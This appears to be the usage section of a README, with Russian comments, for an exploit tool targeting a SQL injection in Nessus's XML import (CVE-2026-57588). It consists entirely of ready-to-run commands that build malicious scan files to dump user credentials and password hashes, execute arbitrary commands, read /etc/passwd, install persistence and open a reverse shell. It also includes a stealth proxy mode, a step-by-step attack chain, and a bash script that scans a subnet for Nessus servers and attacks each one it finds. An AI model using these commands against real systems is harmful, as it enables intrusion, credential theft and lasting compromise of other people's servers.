# Клонировать репозиторий
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Создать и активировать виртуальное окружение
python3 -m venv venv
source venv/bin/activate  # На Windows: venv\Scripts\activate

# Установить зависимости
pip install -r requirements.txt

# Проверить установку
python3 exploit.py --version

# Собрать Docker-образ
docker build -t nessus-exploit .

# Запустить инструмент
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

# Установить как пакет
pip install -e .

# Теперь можно запускать из любой директории
nessus-exploit generate -u https://test.com -p enum

# Сгенерировать базовый эксплойт для перечисления
python3 exploit.py generate -u https://test.com -p enum

# Сгенерировать продвинутый многоэтапный эксплойт
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# Извлечь данные из базы данных
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Показать общую справку
python3 exploit.py --help

# Показать справку по команде generate
python3 exploit.py generate --help

# Список всех доступных пейлоадов
python3 exploit.py list

python3 exploit.py generate -u https://test.com -p enum

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

# Извлечь учетные данные пользователей
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Извлечь с пользовательскими столбцами
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

# Запустить слушатель и сгенерировать эксплойт
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus

# Выполнить базовые команды
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"

# Выполнить сложные команды
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"

# Чтение системных файлов
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd

# Чтение логов приложения
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log

# Задержка 5 секунд
python3 exploit.py generate -u https://test.com -p sleep -s 5

# Задержка 30 секунд для тяжелых тестов
python3 exploit.py generate -u https://test.com -p sleep -s 30

# HTTP прокси
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080

# HTTPS прокси с аутентификацией
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080

# Запустить с 8 параллельными задачами
python3 exploit.py generate -u https://test.com -p advanced --jobs 8

# С пользовательским тайм-аутом и повторными попытками
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5

# Подробный режим (детальный вывод)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log

# Тихий режим (минимальный вывод)
python3 exploit.py generate -u https://test.com -p advanced -q

# Шаг 1: Перечислить базу данных
python3 exploit.py generate -u https://test.com -p enum -v

# Шаг 2: Извлечь конфиденциальные данные
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Шаг 3: Установить персистентность
python3 exploit.py generate -u https://test.com -p persist

# Шаг 4: Настроить обратную оболочку
python3 exploit.py generate -u https://test.com -p shell -lp 4444

# Использование прокси и тихого режима
python3 exploit.py generate -u https://test.com -p advanced \
    --proxy http://127.0.0.1:8080 \
    --no-ssl-verify \
    -q \
    -o stealth_scan.nessus

#!/bin/bash
# auto_exploit.sh - Автоматизированный скрипт эксплуатации

TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR

# Запустить все пейлоады
for payload in enum dump shell persist; do
    echo "[*] Выполнение пейлоада: $payload"
    python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done

# Сгенерировать комплексный отчет
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"

# Оценка по всей сети
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
    echo "[*] Тестирование: $target"
    python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done

# Собрать комплексные доказательства
python3 exploit.py generate -u https://test.com -p advanced \
    --file /etc/hosts \
    --command "systemctl status nessusd" \
    --table nessus_users \
    --columns username,password_hash,email,last_login \
    -v \
    --log-file evidence.log

# Создать все форматы отчетов
python3 exploit.py report -i results.json -o report

# Создать только HTML-отчет
python3 exploit.py report -i results.json -o report.html --format html

# Создать Markdown-отчет
python3 exploit.py report -i results.json -o report.md --format markdown

# Клонировать репозиторий
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Установить зависимости для разработки
pip install -r requirements-dev.txt

# Запустить тесты
pytest

# Форматировать код
black exploit.py

# Проверить стиль кода
flake8 exploit.py